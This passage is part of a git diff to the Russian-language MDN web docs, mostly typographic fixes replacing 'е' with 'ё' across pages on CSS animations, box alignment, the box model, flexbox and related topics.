            5. Наш колбэк ловко вызывает requestAnimationFrame() второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчет стиля. Этот колбэк добавляет класс "changing" обратно в элемент, так что перерисовка снова запустит анимацию.
            6. +
            7. Чтобы убедиться, что стили пересчитаны, мы используем  {{domxref("window.requestAnimationFrame()")}} с колбэком. Наш колбэк выполняется непосредственно перед следующей перерисовкой документа. Проблема заключается в том,что, поскольку это происходит до перерисовки, перерасчёт стиля ещё не произошёл! 
            8. +
            9. Наш колбэк ловко вызывает requestAnimationFrame() второй раз! На этот раз колбэк выполняется до следующей перерисовки, то есть после того, как произошла перерасчёт стиля. Этот колбэк добавляет класс "changing" обратно в элемент, так что перерисовка снова запустит анимацию.

            Конечно, нам также нужно добавить обработчик событий к нашей кнопке "выполнить", чтобы она действительно что-то делала:

            @@ -94,7 +94,7 @@ translation_of: Web/CSS/CSS_Animations/Tips

            Остановка анимации

            -

            Простое удаление {{cssxref("animation-name")}} примененного к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:

            +

            Простое удаление {{cssxref("animation-name")}} применённого к элементу, заставит его исчезнуть или перейти в следующее состояние. Если вместо этого вы хотите, чтобы анимация закончилась, а затем остановилась, вам нужно попробовать другой подход. Главные хитрости заключаются в следующем:

            1. Сделайте свою анимацию настолько самодостаточной, насколько это возможно. Это означает, что вы не должны полагаться на animation-direction: alternate. Вместо этого вы должны явно написать анимацию ключевого кадра, которая проходит через полную анимацию в одном прямом повторении.
            2. diff --git a/files/ru/web/css/css_animations/using_css_animations/index.html b/files/ru/web/css/css_animations/using_css_animations/index.html index 2f25d7922e..14ccbe0a77 100644 --- a/files/ru/web/css/css_animations/using_css_animations/index.html +++ b/files/ru/web/css/css_animations/using_css_animations/index.html @@ -41,7 +41,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy
              {{ cssxref("animation-iteration-count") }}
              Определяет количество повторений анимации; Вы можете использовать значение infinite для бесконечного повторения анимации.
              {{ cssxref("animation-direction") }}
              -
              Дает возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.
              +
              Даёт возможность при каждом повторе анимации идти по альтернативному пути, либо сбросить все значения и повторить анимацию.
              {{ cssxref("animation-fill-mode") }}
              Настраивает значения, используемые анимацией, до и после исполнения.
              {{ cssxref("animation-play-state") }}
              @@ -52,13 +52,13 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy

              После того, как вы настроили временные свойства (продолжительность, ускорение) анимации, вы должны определить внешний вид анимации. Это делается с помощью двух и более ключевых кадров после {{ cssxref("@keyframes") }}. Каждый кадр описывает, как должен выглядеть анимированный элемент в текущий момент.

              -

              В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% ее конец. Так как эти значения очень важны, то для них придумали специальные слова: from и to.

              +

              В то время, как временные характеристики (продолжительность анимации) указываются в стилях для анимируемого элемента, ключевые кадры используют {{ cssxref("percentage") }}, чтобы определить стадию протекания анимации. 0% означает начало анимации, а 100% её конец. Так как эти значения очень важны, то для них придумали специальные слова: from и to.

              Вы также можете добавить ключевые кадры, характеризующие промежуточное состояние анимации.

              Примеры

              -
              Внимание: Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своем браузере, также содержат префиксы -webkit-.
              +
              Внимание: Примеры ниже не используют префиксов для CSS стилей . Webkit-браузеры и старые версии других браузеров нуждаются в указании префиксов в CSS стилях. Примеры, на которые Вы можете кликнуть в своём браузере, также содержат префиксы -webkit-.

              Скольжение текста

              @@ -88,7 +88,7 @@ original_slug: Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy

              В элемент {{ HTMLElement("p") }} можно добавлять и другие пользовательские стили, чтобы как-то украсить его, однако здесь мы хотели продемонстрировать только эффект анимации.

              -

              Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (from). Здесь мы придаем элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .

              +

              Ключевые кадры определяются с помощью правила {{ cssxref("@keyframes") }}. В данном случае мы имеем только два ключевых кадра. Первый при 0% анимации (from). Здесь мы придаём элементу левый отступ в 100% и ширину в 300% (в три раза больше ширины родительского элемента). Это становится причиной того, что при первом кадре анимации заголовок {{ HTMLElement("p") }} находится за пределами правого края окна браузера .

              Второй ключевой кадр (to) определяет конец анимации, т.е (100%). Левый отступ устанавливается равным 0, а ширина 100%. Все выглядит так, будто заголовок {{ HTMLElement("p") }} приплывает к левому краю окна браузера.

              @@ -97,7 +97,7 @@ at last the Caterpillar took the hookah out of its mouth, and addressed her in a languid, sleepy voice.</p> -

              (Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)

              +

              (Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)

              {{EmbedLiveSample("Скольжение_текста","100%","250")}}

              @@ -143,7 +143,7 @@ her in a languid, sleepy voice.</p>

              Это говорит браузеру о том, что при 75% выполнения анимации, шрифт должен быть 300%, а ширина 150%.

              -

              (Обновите страницу, чтобы увидеть анимацию, или щелкните по кнопке CodePen, чтобы воспроизвести ее в окне CodePen)

              +

              (Обновите страницу, чтобы увидеть анимацию, или щёлкните по кнопке CodePen, чтобы воспроизвести её в окне CodePen)

              {{ EmbedLiveSample('Добавление_других_ключевых_кадров', '100%', '250', '', 'Web/CSS/CSS_Animations/Ispolzovanie_CSS_animatciy') }}

              @@ -233,9 +233,9 @@ her in a languid, sleepy voice.</p>

              Установка нескольких значений свойствам анимации  

              -

              CSS свойство анимации может иметь несколько значений, разделенных запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.

              +

              CSS свойство анимации может иметь несколько значений, разделённых запятыми. Это используется, чтобы указать несколько значений анимации в одном правиле и установить разную продолжительность, число повторений и т.д., для различных анимаций. Рассмотрим несколько примеров, чтобы увидеть разницу.

              -

              В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений  — по одному. В этом случае у всех трех анимаций одинаковая продолжительность и число повторений:

              +

              В первом примере у свойства имени анимации установлены три значения, у свойств продолжительности и количества повторений  — по одному. В этом случае у всех трёх анимаций одинаковая продолжительность и число повторений:

              animation-name: fadeInOut, moveLeft300px, bounce;
               animation-duration: 3s;
              @@ -261,7 +261,7 @@ animation-iteration-count: 2, 1;

              Добавление CSS

              -

              Начнем с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение animation-direction установлено alternate. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.

              +

              Начнём с добавления CSS. Анимация будет длиться 3 секунды, будет называться "slidein", будет повторяться 3 раза, а также значение animation-direction установлено alternate. В ключевых кадрах {{ cssxref("@keyframes") }} установлены такие значения ширины и левого отступа, что элемент будет скользить по экрану.

              .slidein {
                 -moz-animation-duration: 3s;
              @@ -316,7 +316,7 @@ animation-iteration-count: 2, 1;

              Добавление обработчика события анимации

              -

              Будем использовать JavaScript для отслеживания всех трех возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.

              +

              Будем использовать JavaScript для отслеживания всех трёх возможных событий анимации. Следующий код конфигурирует обработчик; мы вызываем его при первой загрузке документа.

              var e = document.getElementById("watchme");
               e.addEventListener("animationstart", listener, false);
              @@ -366,7 +366,7 @@ e.className = "slidein";
               
               

              HTML

              -

              Ради полноты картины приведем код разметки HTML. В разметке имеется тег ul, в который и выводится вся информация:

              +

              Ради полноты картины приведём код разметки HTML. В разметке имеется тег ul, в который и выводится вся информация:

              <body>
                 <h1 id="watchme">Watch me move</h1>
              diff --git a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
              index dc2ba0d32f..a17cf60839 100644
              --- a/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
              +++ b/files/ru/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html
              @@ -18,7 +18,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф
               }
               
              -

              Вы можете сделать это сокращенным {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.

              +

              Вы можете сделать это сокращённым {{ cssxref("background") }} свойством и отдельными свойствами кроме {{ cssxref("background-color") }}. Таким образом следующие свойства могут быть определены в виде списка по одному на фон: {{ cssxref("background") }}, {{ cssxref("background-attachment") }}, {{ cssxref("background-clip") }}, {{ cssxref("background-image") }}, {{ cssxref("background-origin") }}, {{ cssxref("background-position") }}, {{ cssxref("background-repeat") }}, {{ cssxref("background-size") }}.

              Пример

              @@ -45,7 +45,7 @@ original_slug: Web/CSS/CSS_Background_and_Borders/Множественные_ф

              {{EmbedLiveSample('Example','100%','400')}}

              -

              Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идет градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.

              +

              Как вы можете видеть, логотип Firefox (первый в списке) расположен сверху, далее идёт градиент и в самом низу фон с пузырями. Каждое последующее под-свойство ({{ cssxref("background-repeat") }} и {{ cssxref("background-position") }}) применяется к соответствующим фонам. Например первое значение свойства {{ cssxref("background-repeat") }} применяется к первому фону, и т.д.

              Смотрите также

              diff --git a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html index 3cd0e684d6..1969398293 100644 --- a/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html +++ b/files/ru/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -20,7 +20,7 @@ original_slug: >-
              cursor:  [<url>,]* ключевое_слово
              -

              Это означает, что устанавливать можно любое количество URL-адресов (отделенных запятой), которые должны сопровождаться одним из ключевых слов, определенными спецификацией CSS, таких как auto или pointer.

              +

              Это означает, что устанавливать можно любое количество URL-адресов (отделённых запятой), которые должны сопровождаться одним из ключевых слов, определёнными спецификацией CSS, таких как auto или pointer.

              Например, такая последовательность значений допустима:

              diff --git a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html index 3fe63cc24c..b59b71c446 100644 --- a/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html +++ b/files/ru/web/css/css_box_alignment/box_alignment_in_flexbox/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox ---
              {{CSSRef}}
              -

              Спецификация Выравнивание Блоков подробно описывает, как выравнивание работает при использовании различных способов разметки. На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox. Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, ее следует читать вместе с основной страницей выравнивания блоков, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.

              +

              Спецификация Выравнивание Блоков подробно описывает, как выравнивание работает при использовании различных способов разметки. На этой странице мы рассмотрим, как работает выравнивание блоков в контексте разметки flexbox. Поскольку эта страница предназначена для подробного описания вещей, относящихся к разметке flexbox и выравниванию блоков, её следует читать вместе с основной страницей выравнивания блоков, в которой подробно описываются общие характеристики выравнивания блоков при использовании разных методах разметки.

              Основной пример

              @@ -25,7 +25,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox
              • Главная ось = направление согласно атрибуту flex-direction = выравнивание через атрибут justify-content
              • -
              • Поперечная ось = проходит поперек главной оси = выравнивание через атрибут align-content, align-self/align-items
              • +
              • Поперечная ось = проходит поперёк главной оси = выравнивание через атрибут align-content, align-self/align-items

              Выравнивание по Главной Оси

              @@ -48,13 +48,13 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox

              Это означает, что атрибут justify-self нет имеет смысла использовать в разметке flexbox, поскольку мы всегда имеем дело с перемещением всей группы элементов.

              -

              Использовать атрибут align-self имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещен и в начало, и в конец.

              +

              Использовать атрибут align-self имеет смысл при работе с поперечной осью, так как потенциально есть дополнительное пространство во flex контейнере в этом измерении, один элемент которого может быть перемещён и в начало, и в конец.

              Выравнивание и свойство margin: auto

              -

              В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут justify-self. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации. В таком случае, можно использовать атрибут margin со значением auto. Атрибут с таким значением будет занимать все доступное пространство в своем измерении. Так работает центрирование блока со свойством margin:auto. Установив значение атрибутов margin-left и margin-right в значение auto, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.

              +

              В разметке flexbox присутствует конкретный вариант использования, в котором, возможно, понадобится атрибут justify-self. Например, когда будет необходимо разделить набор flex элементов для создания отдельного шаблона навигации. В таком случае, можно использовать атрибут margin со значением auto. Атрибут с таким значением будет занимать все доступное пространство в своём измерении. Так работает центрирование блока со свойством margin:auto. Установив значение атрибутов margin-left и margin-right в значение auto, обе стороны нашего блока попытаются занять все доступное пространство и, таким образом, заставят двигаться блок в центр.

              -

              Установив значение атрибута{{cssxref ("margin")}} в auto для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделенную навигацию. Это хорошо работает с разметкой flexbox и свойствами выравнивания. Как только для элемента со свойством margin: auto не остается свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объеме, пытаясь уместиться в доступное пространство.

              +

              Установив значение атрибута{{cssxref ("margin")}} в auto для одного элемента в наборе с flex-элементами, выровненных с начала, можно создать разделённую навигацию. Это хорошо работает с разметкой flexbox и свойствами выравнивания. Как только для элемента со свойством margin: auto не остаётся свободного места, он станет вести себя также, как и все остальные flex элементы, и сократится в объёме, пытаясь уместиться в доступное пространство.

              {{EmbedGHLiveSample("css-examples/box-alignment/flexbox/auto-margins.html", '100%', 500)}}

              @@ -70,7 +70,7 @@ translation_of: Web/CSS/CSS_Box_Alignment/Box_Alignment_in_Flexbox

              На главной оси атрибут column-gap будет создавать разрывы фиксированного размера между соседними элементами.

              - На поперечной оси атрибут row-gap создает разрыв между соседними flex линиями, поэтому необходимо также установить атрибут flex-wrap в значение wrap, чтобы применить эффект.

              + На поперечной оси атрибут row-gap создаёт разрыв между соседними flex линиями, поэтому необходимо также установить атрибут flex-wrap в значение wrap, чтобы применить эффект.

              Примечание. Начиная с версии 63, Firefox является единственным браузером, в котором реализованы свойства разрыва в разметке Flexbox.

              diff --git a/files/ru/web/css/css_box_alignment/index.html b/files/ru/web/css/css_box_alignment/index.html index af449e8cff..e094c861ea 100644 --- a/files/ru/web/css/css_box_alignment/index.html +++ b/files/ru/web/css/css_box_alignment/index.html @@ -23,7 +23,7 @@ translation_of: Web/CSS/CSS_Box_Alignment

              Пример выравнивания раскладки сетки CSS

              -

              В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путем установки {{cssxref("align-self")}} в центр.

              +

              В этом примере с использованием Grid Layout, в контейнере сетки есть дополнительное пространство после прокладки фиксированных дорожек ширины на основной оси. Это пространство распределяется с помощью {{cssxref("justify-content")}}. На блочной (поперечной) оси выравнивание элементов внутри их областей сетки контролируется с помощью {{cssxref("align-items")}}. Первый элемент переопределяет значение элементов выравнивания, заданное в группе, путём установки {{cssxref("align-self")}} в центр.

              {{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-align-items.html", '100%', 500)}}

              @@ -73,7 +73,7 @@ translation_of: Web/CSS/CSS_Box_Alignment

              Контейнер выравнивания - это поле, в котором объект выравнивается внутри. Обычно это будет блок, содержащий объект выравнивания. Контейнер выравнивания может содержать один или несколько объектов выравнивания.

              -

              На приведенном ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.

              +

              На приведённом ниже рисунке показан контейнер выравнивания с двумя объектами выравнивания внутри.

              @@ -88,7 +88,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
              • Positional alignment (выравнивание положения): указание положения объекта выравнивания относительно его контейнера выравнивания.
              • Baseline alignment (исходное выравнивание): эти ключевые слова определяют выравнивание как взаимосвязь между базовыми линиями нескольких объектов выравнивания в контексте выравнивания.
              • -
              • Distributed alignment (распределенное выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.
              • +
              • Distributed alignment (распределённое выравнивание): эти ключевые слова определяют выравнивание как распределение пространства между объектами выравнивания.

              Значения ключевых слов позиционирования

              @@ -109,7 +109,7 @@ translation_of: Web/CSS/CSS_Box_Alignment

              Помимо физических значений left и right, которые относятся к физическим атрибутам экрана, все остальные значения являются логическими значениями и относятся к режиму записи содержимого.

              -

              Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение justify-content start, это приведет к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение start приведет к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.

              +

              Например, при работе в CSS Grid Layout, если вы работаете на русском языке и устанавливаете для него значение justify-content start, это приведёт к перемещению элементов в встроенном измерении в начало, которое будет левым, поскольку предложения на русском начинаются слева. Если вы использовали арабский язык, право на левый язык, то одно и то же значение start приведёт к тому, что элементы перемещаются вправо, так как предложения на арабском языке начинаются с правой стороны страницы.

              Оба этих примера имеют justify-content: start, однако местоположение начала изменяется в соответствии с режимом записи.

              @@ -127,11 +127,11 @@ translation_of: Web/CSS/CSS_Box_Alignment

              Исходное выравнивание содержимого - указание значения выравнивания базовой линии для justify-content или align-content - работает в методах макета, которые содержат элементы в строках. Объекты выравнивания выравниваются по базовой линии друг к другу, добавляя в них поля.

              -

              Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путем добавления поля за пределами полей. Self alignment - это использование justify-self или align-self или при настройке этих значений в виде группы с justify-items и align-items.

              +

              Исходная линия выравнивания сдвигает поля для выравнивания по базовой линии путём добавления поля за пределами полей. Self alignment - это использование justify-self или align-self или при настройке этих значений в виде группы с justify-items и align-items.

              Distributed alignment

              -

              Ключевые слова распределенного выравнивания используются с параметрами align-content и justify-content. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:

              +

              Ключевые слова распределённого выравнивания используются с параметрами align-content и justify-content. Эти ключевые слова определяют, что происходит с каким-либо дополнительным пространством после отображения объекта. Значения следующие:

              • stretch
              • @@ -154,7 +154,7 @@ translation_of: Web/CSS/CSS_Box_Alignment

                safe и unsafe ключевые слова помогают определить поведение, когда объект выравнивания больше, чем контейнер выравнивания. Ключевое слово safe будет выравниваться для start в случае заданного выравнивания, вызывающего переполнение, целью которого является избежать «потери данных», когда часть элемента находится за пределами границ контейнера выравнивания и не может быть прокручена до.

                -

                Если вы укажете unsafe, выравнивание будет выполнено, даже если это приведет к такой потере данных.

                +

                Если вы укажете unsafe, выравнивание будет выполнено, даже если это приведёт к такой потере данных.

                Пробелы между boxes

                @@ -168,7 +168,7 @@ translation_of: Web/CSS/CSS_Box_Alignment
              • {{cssxref("gap")}}
              -

              В приведенном ниже примере макет сетки использует сокращенную gap, чтобы установить разрыв 10px между дорожками строк и 2em разрыв между дорожками столбцов.

              +

              В приведённом ниже примере макет сетки использует сокращённую gap, чтобы установить разрыв 10px между дорожками строк и 2em разрыв между дорожками столбцов.

              {{EmbedGHLiveSample("css-examples/box-alignment/overview/grid-gap.html", '100%', 500)}}

              diff --git a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html index 1ad4642062..cb2b41fbb1 100644 --- a/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html +++ b/files/ru/web/css/css_box_model/introduction_to_the_css_box_model/index.html @@ -16,19 +16,19 @@ original_slug: Web/CSS/box_model

              CSS Box model

              -

              Внутренняя область элемента (content area) содержит текст и другие элементы, расположенные внутри (контент или содержимое). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри content edge; её размеры называются ширина контента (content width или content-box width), и высота контента (content height или content-box height). Иногда еще говорят «внутренняя ширина/высота элемента»

              +

              Внутренняя область элемента (content area) содержит текст и другие элементы, расположенные внутри (контент или содержимое). У неё часто бывает фон, цвет или изображение (в таком порядке: фоновый цвет скрывается под непрозрачным изображением), и она находится внутри content edge; её размеры называются ширина контента (content width или content-box width), и высота контента (content height или content-box height). Иногда ещё говорят «внутренняя ширина/высота элемента»

              -

              По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задается свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство  {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.

              +

              По умолчанию, если CSS-свойство {{ cssxref("box-sizing") }} не задано, размер внутренней области с содержимым задаётся свойствами {{ cssxref("width") }}, {{ cssxref("min-width") }}, {{ cssxref("max-width") }}, {{ cssxref("height") }}, {{ cssxref("min-height") }} and {{ cssxref("max-height") }}. Если же свойство  {{ cssxref("box-sizing") }} задано, то оно определяет, для какой области указаны размеры.

              Поля элемента (padding area) — это пустая область, окружающая контент. Она может быть залита каким-то цветом, покрыта фоновый картинкой, а её границы называются края полей (padding edge).

              Размеры полей задаются по отдельности с разных сторон свойствами {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }} или общим свойством {{ cssxref("padding") }}.

              -

              Область рамки (border area) окружает поля элемента, а ее граница называется края рамки (border edge). Ширина рамки задается отдельным свойством  {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учетом полей и рамки иногда называют внешней шириной/высотой элемента.

              +

              Область рамки (border area) окружает поля элемента, а её граница называется края рамки (border edge). Ширина рамки задаётся отдельным свойством  {{ cssxref("border-width") }} или в составе свойства {{ cssxref("border") }}. Размеры элемента с учётом полей и рамки иногда называют внешней шириной/высотой элемента.

              Отступы (margin area) добавляют пустое пространство вокруг элемента и определяют расстояние до соседних элементов.

              -

              Величина отступов задается по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.

              +

              Величина отступов задаётся по отдельности в разных направлениях свойствами {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }} или общим свойством {{ cssxref("margin") }}.

              Отступы двух соседних элементов, расположенных друг над другом или вложенных друг в друга, могут накладываться. Это называется схлопывание границ (margin collapsing). Схлопываются только вертикальные отступы.

              diff --git a/files/ru/web/css/css_colors/color_picker_tool/index.html b/files/ru/web/css/css_colors/color_picker_tool/index.html index 499aa260fd..a148b4e9af 100644 --- a/files/ru/web/css/css_colors/color_picker_tool/index.html +++ b/files/ru/web/css/css_colors/color_picker_tool/index.html @@ -3212,7 +3212,7 @@ var ColorPickerTool = (function ColorPickerTool() {

              {{CSSRef}}

              -

              Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зеленый / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).

              +

              Этот инструмент позволяет легко создавать, настраивать и экспериментировать с пользовательскими цветами для использования в интернете. Он также позволяет легко конвертировать цвета в различные форматы, поддерживаемые CSS, в том числе: шестнадцатеричный формат, RGB (красный / зелёный / синий) и HSL (Цветовой тон / Насыщенность / Яркость). Контроль над альфа-каналом (прозрачностью) поддерживается в форматах RGB (RGBA) и HSL (HSLA).

              Каждый цвет во время настройки представлен во всех 3-х стандартных форматах CSS, и, кроме того, на основе текущего выбранного цвета генерируется палитра для HSL, HSV и альфа-канала. Кнопкой "пипетка" можно переключаться между HSL или HSV форматами.

              diff --git a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html index 7bab55db18..af886ff78f 100644 --- a/files/ru/web/css/css_columns/using_multi-column_layouts/index.html +++ b/files/ru/web/css/css_columns/using_multi-column_layouts/index.html @@ -6,7 +6,7 @@ original_slug: Web/Guide/CSS/Using_multi-column_layouts ---

              {{CSSRef("CSS Multi-columns")}}

              -

              CSS разметка для многих колонок расширяет способ блочной разметки, чтобы позволить легкое описание нескольких колонок текста. Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.

              +

              CSS разметка для многих колонок расширяет способ блочной разметки, чтобы позволить лёгкое описание нескольких колонок текста. Людям сложно читать текст, если строки слишком длинные; это занимает слишком много времени для глаз, чтобы перемещать взгляд с конца одной на начало следующей строки, и они забывают на какой строке находились. Поэтому, чтобы использовать большие дисплеи по максимуму, авторам следует ограничить ширину колонок текст расположенных бок о бок, как в газетах.

              К несчастью, это невозможно сделать с CSS и HTML без принудительного разбиения колонки в фиксированных позициях, или строго ограничить допустимую разметку в тексте, или использовать экстраординарный скрипт. Это ограничение снимается с помощью добавления новых CSS свойств, чтобы расширить традиционный блочный способ разметки.

              diff --git a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html index 3340d6cfae..61c6b3da9f 100644 --- a/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html +++ b/files/ru/web/css/css_flexible_box_layout/aligning_items_in_a_flex_container/index.html @@ -121,7 +121,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем

              Теперь, когда мы увидели, как работает выравнивание по перекрёстной оси, можно посмотреть на главную ось. Здесь нам доступно только одно свойство — justify-content. Это обусловлено тем, что с элементами на  главной оси мы работаем только как с группой. Используя свойство justify-content, мы контролируем, что происходит со свободным пространством на главной оси, и требуется ли нам больше пространства, чем нужно для отображения наших элементов.

              -

              В нашем первом примере с использованием свойства display: flex, примененным к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство justify-content имеет начальное значение flex-start. Все свободное место располагается в конце контейнера.

              +

              В нашем первом примере с использованием свойства display: flex, применённым к контейнеру, элементы отображаются как строка и выстраиваются в начале блока. Это обусловлено тем, что свойство justify-content имеет начальное значение flex-start. Все свободное место располагается в конце контейнера.

              Three items, each 100 pixels wide in a 500 pixel container. The available space is at the end of the items.

              @@ -203,7 +203,7 @@ original_slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элем

              Выравнивание во Flexbox также включает в себя другие методы создания пространства между элементами, такие как column-gap and row-gap, как показано в макете CSS Grid Layout. Включение этих свойств в Box Alignment означает, что в будущем мы также сможем использовать column-gap и row-gap во Flexbox разметке. Это означает, что вам не нужно будет использовать отступы, чтобы создать пространство между элементами.

              -

              Мое предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье Box Alignment in Grid Layout, а также рассмотреть как выравнивание работает в этих спецификациях в статье Box Alignment Cheatsheet.

              +

              Моё предложение заключается в том, чтобы при изучении выравнивания во Flexbox, делать это параллельно с выравниванием в Grid Layout. В обеих спецификациях используются свойства выравнивания, подобные Flexbox. Вы можете видеть, как эти свойства ведут себя при работе с сеткой в статье Box Alignment in Grid Layout, а также рассмотреть как выравнивание работает в этих спецификациях в статье Box Alignment Cheatsheet.

              Смотрите Также

